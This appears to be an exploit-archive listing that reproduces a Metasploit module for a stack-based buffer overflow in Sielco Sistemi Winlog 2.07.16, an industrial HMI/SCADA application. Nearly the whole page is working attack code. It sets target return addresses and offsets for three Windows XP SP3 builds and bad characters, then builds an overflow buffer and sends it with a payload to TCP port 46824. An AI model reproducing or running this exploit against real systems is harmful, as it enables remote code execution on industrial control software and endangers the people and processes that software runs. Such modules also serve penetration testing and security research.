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Sielco Sistemi Winlog 2.07.16 Buffer Overflow

Sielco Sistemi Winlog 2.07.16 Buffer Overflow
Posted Sep 14, 2017
Authored by James Fitts | Site metasploit.com

This Metasploit module exploits a stack based buffer overflow found in Sielco Sistemi Winlog versions 2.07.16 and below. The overflow is triggered during the parsing of a maliciously crafted packet

tags | exploit, overflow
MD5 | ec4306b8ccf2288f4354cba8f9ae6667

Sielco Sistemi Winlog 2.07.16 Buffer Overflow

Change Mirror Download
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Sielco Sistemi Winlog <= 2.07.16',
'Description' => %q{
This module exploits a stack based buffer overflow
found in Sielco Sistemi Winlog <= 2.07.16. The
overflow is triggered during the parsing of a
maliciously crafted packet
},
'Author' => [ 'James Fitts' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 150,
'BadChars' => "\x00\x0a\x0d\x20",
'DisableNops' => 'True',
# add esp, -5500
'PrependEncoder' => "\x81\xc4\x84\xea\xff\xff",
'Compat' =>
{
'SymbolLookup' => 'ws2ord',
}
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP3 EN (Automatic Washing System Demo)',
{
# vcldb40.bpl
# jmp esp
'Ret' => 0x46035f8b,
'Offset' => 160,
'jmp' => "\xe9\x56\xff\xff\xff",
}
],
[
'Windows XP SP3 EN (Car Simulation)',
{
# vcl40.bpl
# jmp esp
'Ret' => 0x4003eb6b,
'Offset' => 175,
'jmp' => "\xe9\x46\xff\xff\xff",
}
],
[
'Windows XP SP3 EN (Ceramics Kiln)',
{
# ter19.dll
# push esp/ retn
'Ret' => 0x258b4432,
'Offset' => 176,
'jmp' => "\xe9\x46\xff\xff\xff",
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 26 2012'))

register_options([Opt::RPORT(46824)], self.class)
end

def exploit
connect

boom = rand_text_alpha_upper(20)
boom << 'x'
boom << rand_text_alpha_upper(target['Offset'])
boom << [target.ret].pack('V')
boom << "\x41" * 4
boom << target['jmp']
boom << "\xcc" * (281 - boom.length)

boom[22,4] = "\x41" * 4
boom[26,payload.encoded.length] = payload.encoded

print_status("Trying target #{target.name}...")
sock.put(boom)

handler
end

end
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